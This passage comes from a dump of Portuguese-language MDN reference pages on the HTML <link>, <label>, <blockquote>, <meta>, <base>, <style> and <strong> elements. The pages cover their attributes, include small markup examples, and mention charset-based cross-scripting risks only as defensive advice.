são:\n\n\"anonymous\"\n\nA cross-origin request (i.e. with `Origin:` HTTP header) is performed. But no credential is sent (i.e. no cookie, no X.509 certificate and no HTTP Basic authentication is sent). If the server does not give credentials to the origin site (by not setting the `Access-Control-Allow-Origin:` HTTP header), the image will be *tainted* and its usage restricted.\n\nuse-credentials\n\nA cross-origin request (i.e. with `Origin:` HTTP header) is performed with credential is sent (i.e. a cookie, a certificate and HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through `Access-Control-Allow-Credentials:` HTTP header), the image will be *tainted* and its usage restricted.\n\nWhen not present, the resource is fetched without a CORS request (i.e. without sending the `Origin:` HTTP header), preventing its non-tainted used in `<canvas>` elements. If invalid, it is handled as if the enumerated keyword **anonymous** was used. See CORS settings attributes (en-US) for additional information.\n\n`disabled` \nNon-standard\n\nEste atributo é usado para desativa uma relação com o link. Em conjunto com o script, esse atributo poderia ser usado para ligar e desligar várias relações com stylesheets.\n\n**Nota:** Embora, não haja nenhum atributo desativado no padrão HTML, há um atributo desabilitado no `HTMLLinkElement` DOM object.\n\nThe use of `disabled` as an HTML attribute is non-standard and only used by some browsers (W3 #27677). **Do not use it**. To achieve a similar effect, use one of the following techniques:\n\n* If the `disabled` attribute has been added directly to the element on the page, do not include the `<link>` element instead;\n* Set the `disabled` **property** of the `StyleSheet` DOM object via scripting.\n\n`href`\n\nEsse atributo especifica a URL do recurso vinculado. Uma URL pode ser absolute or relative.\n\n`hreflang`\n\nEsse atributo indica o idioma do recurso vinculado. É meramente consultivo. Os valores permitidos são determindaos por BCP47 para HTML5 e por RFC1766 para HTML 4. Use esse atributo se apenas os atributos `href` estiverem presentes.\n\n`media`\n\nThis attribute specifies the media which the linked resource applies to. Its value must be a media query (en-US). This attribute is mainly useful when linking to external stylesheets by allowing the user agent to pick the best adapted one for the device it runs on.\n\n**Nota:** In HTML 4, this can only be a simple white-space-separated list of media description literals, i.e., media types and groups (en-US), where defined and allowed as values for this attribute, such as `print`, `screen`, `aural`, `braille`. HTML5 extended this to any kind of media queries (en-US), which are a superset of the allowed values of HTML 4.\n\n* Browsers not supporting the CSS3 Media Queries (en-US) won't necessarily recognize the adequate link; do not forget to set fallback links, the restricted set of media queries defined in HTML 4.\n\n`methods` \nNon-standard\n\nThe value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP protocol when it is used, but it might (for similar reasons as for the **title** attribute) be useful to include advisory information in advance in the link. For example, the browser might choose a different rendering of a link as a function of the methods specified; something that is searchable might get a different icon, or an outside link might render with an indication of leaving the current site. This attribute is not well understood nor supported, even by the defining browser, Internet Explorer 4. See Methods Property (MSDN).\n\n`rel`\n\nThis attribute names a relationship of the linked document to the current document. The attribute must be a space-separated list of the link types values (en-US). The most common use of this attribute is to specify a link to an external style sheet: the **rel** attribute is set to `stylesheet`, and the **href** attribute is set to the URL of an external style sheet to format the page. WebTV also supports the use of the value `next` for **rel** to preload the next page in a document series.\n\n`rev`\n\nThe value of this attribute shows the relationship of the current document to the linked document, as defined by the `href` attribute. The attribute thus defines the reverse relationship compared to the value of the **rel** attribute. Link types values (en-US) for the attribute are similar to the possible values for `rel`.\n\n**Nota:** This attribute is obsolete in HTML5. **Do not use it**. To achieve its effect, use the `rel` attribute with the opposite link types values (en-US), e.g. made should be replaced by author. Also this attribute doesn't mean *revision* and must not be used with a version number, which is unfortunately the case on numerous sites.\n\n`sizes`\n\nThis attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the `rel` contains the icon link types value (en-US). It may have the following values:\n\n* `any`, meaning that the icon can be scaled to any size as it is in a vector format, like `image/svg+xml`.\n* a white-space separated list of sizes, each in the format `<width in pixels>x<height in pixels>` or `<width in pixels>X<height in pixels>`. Each of these sizes must be contained in the resource.\n\n**Nota:** Most icon formats are only able to store one single icon; therefore most of the time the `sizes` attribute contains only one entry.\n MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).\n\n\n`target`\nNon-standard\n\nDefines the frame or window name that has the defined linking relationship or that will show the rendering of any linked resource.\n\n`type`\n\nThis attribute is used to define the type of the content linked to. The value of the attribute should be a MIME type such as **text/html**, **text/css**, and so on. The common use of this attribute is to define the type of style sheet linked and the most common current value is **text/css**, which indicates a Cascading Style Sheet format.\n\nExemplos\n--------\n\n### Incluindo um stylesheet\n\nPara incluir um stylesheet em uma página, use a seguinte syntax:\n\n\n```html\n<link href=\"style.css\" rel=\"stylesheet\" />\n```\n\n### Fornecimento de stylesheets alternativas\n\nVocê também pode especificar stylesheet alternativas (en-US).\n\nO usuário pode escolher qual stylesheet usar, escolhendo no View>Page Style menu. Isso fornece uma maneira para os usuários verem várias versões de uma página.\n\n\n```html\n<link href=\"default.css\" rel=\"stylesheet\" title=\"Default Style\" />\n<link href=\"fancy.css\" rel=\"alternate stylesheet\" title=\"Fancy\" />\n<link href=\"basic.css\" rel=\"alternate stylesheet\" title=\"Basic\" />\n```\n\n### Stylesheet eventos carregados\n\nVocê pode determinar quando um stylesheet foi carregado observando um `load` event em ação; Da mesma forma, você pode detectar se ocorreu algum erro ao processar uma stylesheet, observando um `error` event:\n\n\n```html\n<script>\n function sheetLoaded() {\n // Do something interesting; the sheet has been loaded\n }\n\n function sheetError() {\n alert(\"An error occurred loading the stylesheet!\");\n }\n</script>\n\n<link\n rel=\"stylesheet\"\n href=\"mystylesheet.css\"\n onload=\"sheetLoaded()\"\n onerror=\"sheetError()\" />\n```\n\n\n**Nota:** O `load` event é carregado quando a stylesheet e quando todo o conteúdo importado foi carregado e analisado, e imediatamente antes que styles comecem a ser aplicados ao conteúdo.\n\nNotas\n-----\n\n* Uma tag `<link>` pode ocorrer apenas no elemento head; No entanto, pode haver várias ocorrências de `<link>`.\n* HTML 3.2 define apenas os atributos **href**, **rel**, **rev**, e **title** para o elemento link.\n* HTML 2 define os atributos **href**, **methods**, **rel**, **rev**, **title**, e **urn** para o elemento `<link>`. O **methods** e **urn** foram atributos posteriormente removidos das especificações.\n* As especificações HTML e XHTML definem manipulações de eventos para o elemento `<link>`, mas não está claro como eles seriam usados.\n* Sob XHTML 1.0, elementos vazios como `<link>` requerem uma barra diagonal: `<link />`.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-link-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Ryan Grove's <script> and <link> node event compatibility chart"}
{"title":"<label> - HTML: Linguagem de Marcação de Hipertexto","text":"<label>\n=======\n\nResumo\n------\n\nUm **elemento** \\*\\*HTML `<label>` \\*\\*representa uma legenda para um item em uma interface de usuário. Ele pode estar associado com um elemento de controle, colocando este dentro do elemento `label`, ou usando o atributo `for`. Tal controle é chamado o *controle etiquetado* do elemento etiqueta. Um input pode ser associado a diversas etiquetas (<label>s).\n\n* *As categorias de conteúdo* Flow content, phrasing content, interactive content, form-associated element, palpable content.\n* *conteúdo permitido* Phrasing content, mas há elementos do rótulo descendente. Nenhum outro do que o controle rotulado elementos labelable são permitidos.\n* *Tag omissão* None, both the starting and ending tag are mandatory.\n* *Elementos pai permitidas* Qualquer elemento que aceita phrasing content.\n* *DOM interface* `HTMLLabelElement` (en-US)\nAtributos\n---------\n\nA tecla de atalho para acessar este elemento a partir do teclado.\n\n`accesskey`\n\nA tecla de atalho para acessar este elemento a partir do teclado.\n\n`for`\n\nO ID de um elemento de formulário relacionados com labelable no mesmo documento como o elemento label. O primeiro elemento tal no documento com uma ID correspondente ao valor do atributo é o controle marcado for este elemento etiqueta.\n\n**Nota:** Um elemento etiqueta pode ter tanto um for o atributo e um elemento de controlo continham, enquanto os pontos de atributo para o elemento de controlo contido.\n\n`form`\n\nO elemento de forma que o elemento label está associado a (seu proprietário formulário). O valor do atributo deve ser uma identificação de um `<form>` (en-US) elemento no mesmo documento. Se este atributo não for especificado, este elemento <label> deve ser um descendente de uma `<form>` (en-US) elemento. Este atributo permite que você coloque elementos do rótulo em qualquer lugar dentro de um documento, e não apenas como descendentes de seus elementos de formulário.\n\nExemplo\n-------\n\n### Exemplo simples de label\n\n\n```html\n<label>Click me <input type=\"text\" id=\"User\" name=\"Name\" /></label>\n```\n\n### Usando o atributo \"for\"\n\n\n```html\n<label for=\"User\">Click me</label> <input type=\"text\" id=\"User\" name=\"Name\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-label-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Other form-related elements: `<form>` (en-US), `<button>`, `<datalist>`, `<legend>`, `<select>`, `<optgroup>`, `<option>`, `<textarea>`, `<fieldset>`, `<output>`, `<progress>` and `<meter>`."}
{"title":"<blockquote> - HTML: Linguagem de Marcação de Hipertexto","text":"<blockquote>\n============\n\nSumário\n-------\n\nO Elemento HTML <blockquote> (ou Elemento HTML de citação de bloco) indica que o texto incluído é uma longa citação. Normalmente, este é processado visualmente pelo recuo (ver Notas (en-US) sobre como mudá-lo). A URL para a fonte da citação pode ser dada usando o atributo **cite**, enquanto uma representação de texto da fonte pode ser dada usando o `<cite>` elemento.\n\n* *Categorias de conteúdo (en-US)* Fluxo de conteúdo (en-US), raiz selecionamento, conteúdo palpável.\n* *Conteúdo permitido* Fluxo de conteúdo (en-US).\n* *Tag Omissão* None, both the starting and ending tag are mandatory.\n* *Elementos permitidos* Qualquer elemento que aceita o fluxo de conteúdo. (en-US)\n* *Papéis ARIA permitidos* Qualquer\n* *Interface DOM* `HTMLQuoteElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`cite`\n\nUma URL que designa um documento de origem ou mensagem para a informação citada. Este atributo destina-se a apontar para informações explicando o contexto ou a referência para a cotação.\n\nNotas\n-----\n\nPara alterar o recuo de `<blockquote>`, use a propriedade CSS `margin`.\n\nPara citações curtas, use o elemento `<q>`.\n\nExemplo\n-------\n\n\n```html\n<blockquote cite=\"http://developer.mozilla.org\">\n  <p>Esta é uma citação tirada da Mozilla Developer Center.</p>\n</blockquote>\n```\n\n\nO código HTML acima vai resultar em:\n\n> \n> Esta é uma citação tirada da Mozilla Developer Center.\n> \n> \n> \n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-blockquote-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<q>` para citações em linha.\n* O elemento `<q>` para citações de origem."}
{"title":"<meta> - HTML: Linguagem de Marcação de Hipertexto","text":"<meta>\n======\n\nO elemento \\*\\*HTML `<meta>` \\*\\*define qualquer informação de metadados que não podem ser definidos por outros elementos **HTML.** (`<base>`, `<link>`, `<script>`, `<style>` ou `<title>`).\n\n|  |  |\n| --- | --- |\n| Categoria de\n conteúdo\n  | \n Conteúdo de metadado. Se o\n `itemprop` atributo estiver\n presente:\n flow content,\n phrasing content.\n  |\n| Conteúdo permitido | Nenhum, é um elemento vazio. |\n| Omissão de tag | \n Como é um elemento vazio, a marcação inicial deve estar presente e a de\n fechamento não.\n  |\n| Elementos pai permitidos | `<meta charset>`, `<meta http-equiv>`:\n um elemento `<head>`. Se o\n `http-equiv` não for uma\n declaração de codificação, ele pode estar dentro de um elemento\n `<noscript>`, dentro de um elemento\n `<head>`.\n  |\n| Papéis ARIA permitid | Nenhum |\n| Interface DOM | `HTMLMetaElement` (en-US) |\n\nAtributos\n---------\n\nEsse elemento inclui os atributos globais.\n\n**Nota:** o atributo global `name` tem um significado específico para o elemento `<meta>`, e o atributo `itemprop` não deve ser definido no mesmo elemento`<meta>` que tem algum desses atributos existentes: `name`, `http-equiv` ou `charset`.\n\n`charset`\n\nEste atributo define a codificação de caracteres usada na página. Pode ser substituído localmente usando o atributo *lang* em qualquer elemento. Esse atributo é literalmente uma amarra e deve ser um dos *MIME names* preferidos para uma codificação de caracteres como definido pela IANA (defined by the IANA). Embora o padrão não solicite uma codificação específica, ele dá algumas sugestões:\n\n* Autores são encorajados a usar UTF-8.\n* Autores não devem usar codificações incompatíveis com ASCII (\n isto é, aqueles que não mapeiam os pontos de código de 8 bits 0x20 a 0x7E para os pontos de código Unicode 0x0020 a 0x007E), pois representam um risco de segurança: navegadores que não os suportam podem interpretar conteúdo maligno como Elementos HTML. Esse é o caso de pelo menos os seguintes caracteres: JIS\\_C6226-1983, JIS\\_X0212-1990, HZ-GB-2312, JOHAB, a família ISO-2022 e a família EBCDIC.\n* Autores não devem usar CESU-8, UTF-7, BOCU-1 e SCSU, also falling in that category and not intended to be used on the web. Cross-scripting attacks with some of these encodings have been documented.\n* Autores não devem usar UTF-32 pois nem todos algorítimos de codificação HTML5 conseguem distingui-lo do UTF-16.\n\n**Nota:**\n\n* O conjunto de caracteres declarado deve corresponder ao da página. Não há motivo válido para declarar um conjunto de caracteres imprecisos.\n* Esse elemento `<meta>` deve estar dentro do elemento `<head>` e dentro dos primeiros 1024 bytes da página, pois alguns navegadores só olham para esses primeiros bytes antes de escolher um caractere definido para a página.\n* Esse elemento `<meta>` é apenas uma parte do algoritmo para determinar o conjunto de caracteres de uma página que os navegadores aplicam. O cabeçalho HTTP Content-Type e quaisquer elementos da BOM têm precedência sobre esse elemento.\n* É uma boa prática, e altamente recomendável, definir o conjunto de caracteres usando este atributo. Se nenhum conjunto de caracteres estiver definido para uma página, várias técnicas de scripts cruzados poderão prejudicar o usuário da página, como a técnica de cross-scripting de fallback UTF-7. Sempre definindo esta meta irá proteger contra esses riscos.\n* Esse elemento `<meta>` é um sinônimo para o pre-HTML5 `<meta http-equiv=\"Content-Type\" content=\"text/html; charset=IANAcharset\">` onde o atributo `IANAcharset` corresponde ao valor equivalente de `charset`. Essa sintaxe ainda é permitida, embora obsoleta e não mais recomendada.\n\n`content`\n\nEsse atributo fornece o valor associado ao atributo `http-equiv` ou `name`, dependendo do contexto.\n\n`http-equiv`\n\nEste enumerado atributo define a pragma isso pode alterar o comportamento de servers e user-agents. o valor do pragma é definido usando `content` e pode ser um dos seguintes:\n\n`\"content-language\"`\n\neste pragma define a linguagem default da página\n\n**Nota:** não use este pragma, ele esta obsoleto. use o atributo global `lang` no `<html>` ao invés deste.\n\n`\"Content-Security-Policy\"`\n\nEste valor permite os administradores do web site definam uma política de conteúdo (en-US) para a página atual. Com algumas exceções, politicas de conteúdo envolvem especificar origens de servidores e endpoints de scripts permitidos, isso ajuda na defesa de cross-server scripting attacks.\n\n`\"content-type\"`\n\nEsse atributo define o MIME type e o conjunto de caracteres do documento. Isso segue a mesma sintaxe como o HTTP `content-type` entity-header field, mas isto esta dentro de um elemento HTML, a maioria dos valores não é possível. Sendo assim a sintaxe válida para este conteúdo é a literal string '`text/html`' eventualmente seguido por estes caracteres com a seguinte sintaxe: '`; charset=`*`IANAcharset`*' onde `IANAcharset` é o *MIME preferido nome para um conjunto de caracteres como* definido pela IANA.\n\n**Nota:**\n\n* Nao use esta pragma ela esta obsoleta. use `charset` atributo `<meta>` element instead.\n* como o `<meta>` pode nao ser usado para mudar o tipo de documento no XHTML, ou em um documento de HTML5 seguindo uma syntax de XHTML, nunca marque MIME type para um XHTML MIME type desta forma. isso sera incoerente.\n* somente um documento HTML pode usar o content-type, então a maioria disto é redundante: isso porque esta obsoleto e trocado pelo atributo `charset`.\n\n`\"default-style\"`\n\nEste pragma preferencia de stylesheet a ser usado na página. o atributo `content` deve conter o **title** de um `<link>` elemento de quem `href` atributo link um CSS stylesheet, ou um **title** de um elemento `<style>` do qual contem um CSS stylesheet.\n\n`\"refresh\"`\n\neste pragma especifica:\n\n* o numero de segundos até a página ser recarregada, se o atributo `content` contém apenas um número inteiro não negativo;\n* o número de segundos até a página ser redirecionada para outro lugar, se o atributo `content` contém um inteiro não negativo seguido de uma string '`;url=`' e uma URL válida.\n\n`\"set-cookie\"`\n\neste pragma define um cookie para a página. este conteúdo deve seguir a sintaxe definida em IETF HTTP Cookie Specification.\n\n**Nota:** não use este pragma está obsoleto. Use HTTP header set-cookie instead.\n\n\n\n`name`\n\n Este atributo define o nome do document-level metadata. Isso não deve ser marcado se um dos atributos `itemprop`, `http-equiv` ou `charset` já estiver preparado.\n este document-level metadata name é associado a um valor, contido pelo atributo `content`. os possíveis valores para o elemento name são, com seu valor associado, guardado via `content` attribute:\n\n\n* `application-name`, define o nome da aplicação que esta rodando na página;\n\n**Nota:**\n\n    + Browsers podem usar isso para identificar a aplicação. isso é diferente do elemento `<title>`, que geralmente constituí no nome da aplicação, mas também contém informações específicas como o nome do documento ou status;\n    + Webpages simples não deveriam definir application-name meta.\n* `author`, definindo, em formato livre, o nome do author do documento;\n* `description`, contém uma curta e precisa descrição do conteúdo da página. vários browsers, como o Firefox e o Opera, usam este meta como descrição padrão da página quando é marcada.\n* `generator`, contendo, em um formato livre, o identificador do software que gerou a página;\n* `keywords`, contendo, como strings separadas por vírgula, palavras relevantes associadas ao conteúdo da página;\n* `referrer` \nExperimental\n controlando o conteúdo de um HTTP `Referer` HTTP header anexado a qualquer pedido enviado deste documento:\n\n\n| `no-referrer` | não envia um HTTP `Referer` header. |\n| --- | --- |\n| `origin` | envia a origin de um documento. |\n| `no-referrer-when-downgrade` | Envia a origem como referenciador para um destino prioritariamente tão seguro (https-> https), mas não envie um referenciador para um destino menos seguro (https-> http). Este é o comportamento padrão. |\n| `origin-when-crossorigin` | Envia uma URL completa (sem parâmetros) ao executar uma solicitação de mesma origem, mas envie apenas a origem do documento para outros casos. |\n| `unsafe-URL` | Envia um URL completo (sem parâmetros) ao executar uma solicitação de mesma origem ou origem cruzada. |\n\n**Nota:** alguns browsers suportam keywords `always`, `default`, e `never` para referenciar. estes valores estão descontinuados.\n\n**Nota:** dinamicamente inseridos `<meta name=\"referrer\">` (por document.write ou appendChild) cria um nao-determinismo quando isso vem para enviar referências ou não. Note também quando muitas politicas conflitantes são definidas, o No-referrer politia é aplicada.\n\no atributo também pode ter um valor retirado de uma extensa lista definida em WHATWG Wiki MetaExtensions page. Embora nenhum tenha sido formalmente aceito ainda, alguns nomes comumente usados estão entre as propostas:\n\n* `creator`, definindo, em um formato livre, o nome do criador do documento. Note que também pode ser o nome de uma instituição. se há mais de uma, vários elementos `<meta>` podem ser usados;\n* `googlebot`, é um sinônimo de `robots`, mas só é seguido por Googlebot, o indexador crawler do Google;\n* `publisher`, definido, em um formato livre, o nome do editor do documento. Note que também pode ser o nome de uma instituição;\n* `robots`, definindo o comportamento que crawlers devem ter com a página. É separado por vírgula a lista de valores seguintes:\n\n\n| Value | Description | Used by |\n| --- | --- | --- |\n| `index` | permite o robô indexar uma página | All |\n| `noindex` | previne o robô de indexar uma página | All |\n| `follow` | permite o robô a seguir os links da página | All |\n| `nofollow` | previne o robô a seguir os links da página | All |\n| `noodp` | previne o uso de descrição Open Directory Project, caso existam, como descrição da página o resultado na ferramenta de busca. | Google, Yahoo, Bing |\n| `noarchive` | previne a ferramenta de busca pecar o conteúdo da página | Google, Yahoo |\n| `nosnippet` | Impede a exibição de qualquer descrição da página na página de resultados do mecanismo de pesquisa | Google |\n| `noimageindex` | previne esta página de aparecer como referencia de alguma imagem indexada | Google |\n| `nocache` | sinônimo de `noarchive` | Bing |\n\n**Nota:**\n\n    + Somente robôs cooperativos seguirão as regras definidas pelo nome do robô. Não espere manter as colheitadeiras de e-mail à distância com isso.\n    + O robô ainda precisa acessar a página para ler o valor meta. Se você quiser mantê-los sob controle, por exemplo, para evitar o consumo de largura de banda, use um arquivo robots.txt (ou em complemento).\n    + Se você quiser remover a página de um índice, a alteração do meta para `noindex` funcionará, mas somente quando o robô visitar a página novamente. Verifique se o arquivo robots.txt não está impedindo essas visitas. Alguns mecanismos de busca possuem ferramentas para desenvolvedores, permitindo uma remoção rápida de algumas páginas.\n    + Alguns valores possíveis são mutuamente exclusivos, como usar `index` e `noindex`, ou `follow` e `nofollow`, ao mesmo tempo. Nestes casos, o comportamento do robô é indefinido e pode variar de um para o outro. Então evite esses casos.\n    + Alguns robôs rastreadores de mecanismos de pesquisa, como os do Google, Yahoo Search ou Bing, suportam os mesmos valores em uma diretiva `HTTP, X-Robot-Tags`: isso permite que eles usem esses pragma em documentos não HTML, como imagens\n* `slurp`, qual é um sinônimo de `robots`, mas somente seguido por Slurp, o indexador crawler para Yahoo Search;\n\nFinalmente, alguns nomes estão em uso comum, embora não estejam sendo padronizados:\n\n* `viewport`, que dá dicas sobre o tamanho inicial do viewport. Este pragma é usado apenas por vários dispositivos móveis.\n\n\n| Value | Possible values | Description |\n| --- | --- | --- |\n| `width` | um numero inteiro positivo ou o literal `device-width` | define a largura em pixel de um viewport |\n| `height` | um numero inteiro positivo ou o literal `device-height` | define a altura em pixel de um viewport |\n| `initial-scale` | um numero positivo entre `0.0` e `10.0` | define a relação entre a largura do dispositivo (largura do dispositivo no modo retrato ou altura do dispositivo no modo paisagem) e o tamanho da janela de visualização. |\n| `maximum-scale` | um numero positivo entre `0.0` e `10.0` | define o valor máximo de zoom; deve ser maior ou igual ao `minimum-scale` ou o comportamento sera indeterminado. |\n| `minimum-scale` | um numero positivo entre `0.0` e `10.0` | define o valor mínimo do zoom; deve ser menor ou igual ao `maximum-scale` ou o comportamento sera indeterminado |\n| `user-scalable` | um valor booleano (`yes` ou `no`) | se setado `no`, o usuário não poderá usar zoom na página. o valor padrão é `yes`. |\n\n**Nota:**\n\n    + Embora não seja padronizado, esse atributo é usado por diferentes navegadores móveis, como o Safari Mobile, o Firefox para celular ou o Opera Mobile.\n    + Os valores padrão podem mudar de um dispositivo e navegador para outro.\n    + Para aprender sobre esse pragma no Firefox para celular, veja este artigo.\n\n`scheme`\n\nEste atributo define o esquema no qual os metadados são descritos. Um esquema é um contexto que leva às interpretações corretas dos `content` valores, como um formato.\n\n**Nota:** Não use este atributo pois esta obsoleto.Não há substituto para isso, pois não houve uso real para isso. Omitir completamente.\n\nNotes\n-----\n\nDependendo do conjunto escolhido, o tipo de metadata pode ser uma das seguintes:\n\n* se `name` é definido, isto é *document-level* *metadata*, aplicando para a página inteira.\n* se `http-equiv` é definido, isto é um *pragma diretiva*, i.e. normalmente informação dada pelo web server sobre como a página web deve ser entregue.\n* se `charset` é definido, isto é uma declaração de *charset*, i.e. o charset usado para o formulário serializado da página da Web\n* se `itemprop` é definido, isto é *user-defined metadata*, transparente para o user-agent, pois a semântica dos metadados é específica do usuário. \nExperimental\nExemplos\n--------\n\n\n```html\n<!-- In HTML5 -->\n<meta charset=\"utf-8\" />\n\n<!-- redireciona a página depois de 3 segundos -->\n<meta http-equiv=\"refresh\" content=\"3;url=https://www.mozilla.org\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-meta-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* The other elements containing metadata: `<base>`, `<head>`, `<link>`, `<style>`,`<title>`."}
{"title":"<base> - HTML: Linguagem de Marcação de Hipertexto","text":"<base>\n======\n\nResumo\n------\n\nO *elemento HTML Base* (**<base>**) especifica o endereço (URL) utilizada por todos os endereços relativos contidos dentro de um documento. Há um número máximo de 1 (um) elemento *Base* <base> do documento.\n\n> \n> **Note:** Se multiplos elementos `<base>` forem especificados, apenas o primeiro valor de **href** e **target** serão utilizados, os demais serão ignorados.\n> \n> \n> \n\n* *Content categories (en-US)* Metadata content.\n* *Permitted content* None, it is an empty element (en-US).\n* *Tag omission* There must be no closing tag.\n* *Permitted parent elements* Any `<head>` that doesn't contain any other `<base>` element\n* *DOM interface* `HTMLBaseElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n* `href`\n    + : O URL de base para ser usado em todo o documento para endereços URL relativos.Se este atributo for especificado, este elemento deve vir antes de quaisquer outros elementos com atributos cujos valores são URLs.Endereços (URLs) absolutos e relativos são permitidos (mas ver seção nota abaixo).\n* `target`\n    + : Esse elemento é uma palavra-chave que indica o local padrão para exibir o resultado quando os hiperlinks causarem navegações, por elementos que não têm referência alvo explícita. Em HTML5, é um nome ou palavra-chave para um contexto de navegação. (por exemplo, guia, janela, ou frame incorporada). As seguintes formas têm significados específicos:\n* \\_self: Coloca i resultado no mesmo quadro HTML4 ou contexto de navegação, caso HTML5, como o atual. Este valor é o padrão se o atributo não for especificado.\n* \\_blank: Coloca o resultado em uma nova janela HTML4 ou janela no contexto de navegação HTML5.\n* \\_parent: Coloca o resultado no conjunto de quadros pai do quadro atual no caso de HTML4 ou contexto de navegação pai no atual HTML5. Se não houver nenhum pai, esta opção se comporta como a forma \\_self.\n* \\_top: Em HTML4: Coloca o resultado na janela completa, original, cancelando todos os outros quadros. Em HTML5: Coloca o resultado no contexto de navegação de nível superior (ou seja, o contexto de navegação em que é um antepassado do atual, e não o pai). Se não houver nenhum pai, este opção se comporta da mesma forma que \\_self.\nExemplos\n--------\n\n\n```html\n<base href=\"http://www.example.com/\" />\n<base target=\"\\_blank\" href=\"http://www.example.com/\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-base-element |\n\nNavegadores Compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas\n-----\n\n* A URL base de um documento pode ser consultada utilizando o seguinte script `document.baseURI` (en-US).\n* Support of relative URIs for `href` was added in Gecko 2.0 (Firefox 4.0)\n* HTML 2.0 and 3.2 define only the `href` attribute\n* XHTML requires a trailing slash: `<base />`"}
{"title":"<style> - HTML: Linguagem de Marcação de Hipertexto","text":"<style>\n=======\n\nResumo\n------\n\nO **elemento HTML <style>** contém informações de estilo para um documento ou uma parte do documento. As informações de estilo específico estão contidas dentro deste elemento, geralmente no CSS.\n\n* *Content categories (en-US)*Metadata content, e se o atributo `scoped` é apresentado: flow content.\n* *Conteúdo Permitido* Style information matching the language of the `type` attribute.\n* *Omissão de Tag* None, both the starting and ending tag are mandatory.\n* *Permitted parent elements* Qualquer elemento que aceite Metadata content.\n* *Interface DOM* `HTMLStyleElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\ntype\n\nEste atributo define a linguagem de estilo como um tipo MIME (charset não deve ser especificado). ' text/css' presume se este atributo estiver ausente.\n\nmedia\n\nQual mídia deve aplicar-se a este estilo. Deve ser uma consulta de mídia, consulte http://dev.w3.org/csswg/css3-mediaqueries.\n\nscoped\n\nSe este atributo está presente, então o estilo aplica-se apenas ao seu elemento pai. Se está ausente, o estilo aplica-se ao documento inteiro.\n\ntitle\n\nEspecifica os conjuntos de folhas de estilo alternativa.\n\ndisabled\n\nSe definido, desativa (não se aplica) às regras de estilo para a `Document` que são especificadas no elemento.\n\nExemplos\n--------\n\n### Uma folha de estilo simples\n\n\n```html\n<style type=\"text/css\">\n body {\n color: red;\n }\n</style>\n```\n\n### Uma folha de estilos com escopo\n\n\n```html\n<article>\n  <div>\n    The scoped attribute allows for you to include style elements mid-document.\n    Inside rules only apply to the parent element.\n  </div>\n  <p>\n    This text should be black. If it is red your browser does not support the\n    scoped attribute.\n  </p>\n  <section>\n    <style scoped>\n p {\n color: red;\n }\n </style>\n    <p>This should be red.</p>\n  </section>\n</article>\n```\n\n\n#### Amostra\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-style-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<link>` que permite usar folhas de estilo externas."}
{"title":"<strong> - HTML: Linguagem de Marcação de Hipertexto","text":"<strong>\n========\n```\n\nO elemento HTML <strong> dá ao texto uma forte importância, e é tipicamente mostrado em negrito.\n```\n\n\n|  |  |\n| --- | --- |\n| Categorias do conteúdo | Flux content (en-US),Phrasing content (en-US), conteúdo palpável. |\n| Conteúdo permitido | Phrasing content (en-US). |\n| Omissão de tag | Nenhuma, deve ter uma tag de início e uma tag de encerramento. |\n| Permitted parents | \n Qualquer elemento que aceite\n phrasing content (en-US), ou qualquer elemento que aceite\n flow content (en-US).\n  |\n| Permitted ARIA roles | Qualquer um |\n| DOM interface | `HTMLElement` (en-US) Até Gecko 1.9.2 (Firefox 4)\n inclusive, Firefox implementa a interface\n `HTMLSpanElement` para\n este elemento.\n  |\n\nAtributos\n---------\n\nEste elemento inclui apenas os atributos globais.\n\nNotas de uso\n------------\n\nO elemento `<strong>` é utilizado em conteúdos que são de \"grande importância\", incluindo coisas de urgentes (como alertas). Podem ser sentenças que são de grande importância para toda a página, ou, você pode meramente tentar pontuar que algumas palavras são de grande importância, comparado ao conteúdo próximo.\n\nTipicamente, estes elementos são renderizados por padrão, usando fontes em negrito. Contudo, ele não deve ser usado para simplesmente aplicar o estilo negrito; use o CSS `font-weight` para este propósito. Use o elemento `<b>` para chamar a atenção para certos textos sem a indicação de grande nível de importância. Use o elemento `<em>` para marcar textos que tem necessitam de ênfase.\n\nOutro uso aceitavel para `<strong>` é denotado com o rótulo (label) de parágrafos, que representa notas ou avisos, dentro do texto da página.\n\n### Bold vs. Strong\n\nMuitas vezes é confuso para novos desenvolvedores porque há tantas maneiras de expressar a mesma coisa em um website renderizado. Bold e Strong são talvez um dos casos mais comuns. Porque usar <strong></strong> vs <b></b>? Você precisa digitar muito mais ao usar strong e ela produz o mesmo resultado, certo?\n\nTalvez não; strong é um estado lógico, e bold é um estado físico. Estados lógicos separam apresentação do conteúdo, e ao fazer isso permitem que ele seja expresso de várias maneiras diferentes. Possivelmente em vez de renderizar um texto como negrito você queira renderizá-lo vermelho, ou num tamanho diferente, ou sublinhado, ou 